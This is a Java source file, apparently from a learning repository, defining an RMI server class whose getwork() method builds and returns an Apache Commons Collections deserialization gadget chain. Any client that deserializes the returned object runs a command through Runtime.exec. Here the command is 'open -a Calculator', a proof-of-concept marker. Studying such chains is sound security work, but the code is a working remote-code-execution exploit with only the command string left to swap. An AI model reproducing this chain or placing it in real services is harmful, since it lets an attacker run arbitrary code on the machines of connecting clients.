1+ package SimpleRMI_3 ;
2+
3+ import org .apache .commons .collections .Transformer ;
4+ import org .apache .commons .collections .functors .ChainedTransformer ;
5+ import org .apache .commons .collections .functors .ConstantTransformer ;
6+ import org .apache .commons .collections .functors .InvokerTransformer ;
7+ import org .apache .commons .collections .map .TransformedMap ;
8+
9+ import java .lang .reflect .Constructor ;
10+ import java .rmi .RemoteException ;
11+ import java .rmi .server .UnicastRemoteObject ;
12+ import java .util .HashMap ;
13+ import java .util .Map ;
14+
15+ public class UserImpl extends UnicastRemoteObject implements User {
16+
17+ public UserImpl () throws RemoteException {
18+ super ();
19+ }
20+ public String name (String name ) throws RemoteException {
21+ return name ;
22+ }
23+ public void say (String say ) throws RemoteException {
24+ System .out .println ("you speak" + say );
25+ }
26+ public void dowork (Object work ) throws RemoteException {
27+ System .out .println ("your work is " + work );
28+ }
29+
30+ public Object getwork () throws RemoteException {
31+ Object evalObject = null ;
32+ try {
33+ Transformer [] transformers = new Transformer [] {
34+ new ConstantTransformer (Runtime .class ),
35+ new InvokerTransformer ("getMethod" ,
36+ new Class [] {String .class , Class [].class },
37+ new Object [] {"getRuntime" , new Class [0 ]}),
38+ new InvokerTransformer ("invoke" ,
39+ new Class [] {Object .class , Object [].class },
40+ new Object [] {null , new Object [0 ] }),
41+ new InvokerTransformer ("exec" ,
42+ new Class [] {String .class },
43+ new Object [] {"open -a Calculator" })
44+ };
45+ Transformer transformerChain = new ChainedTransformer (transformers );
46+ Map innerMap = new HashMap ();
47+ innerMap .put ("value" , "Threezh1" );
48+ Map outerMap = TransformedMap .decorate (innerMap , null , transformerChain );
49+ Class AnnotationInvocationHandlerClass = Class .forName ("sun.reflect.annotation.AnnotationInvocationHandler" );
50+ Constructor cons = AnnotationInvocationHandlerClass .getDeclaredConstructor (Class .class , Map .class );
51+ cons .setAccessible (true );
52+ evalObject = cons .newInstance (java .lang .annotation .Retention .class , outerMap );
53+ }catch (Exception e ){
54+ e .printStackTrace ();
55+ }
56+ return evalObject ;
57+ }
58+ }
0 commit comments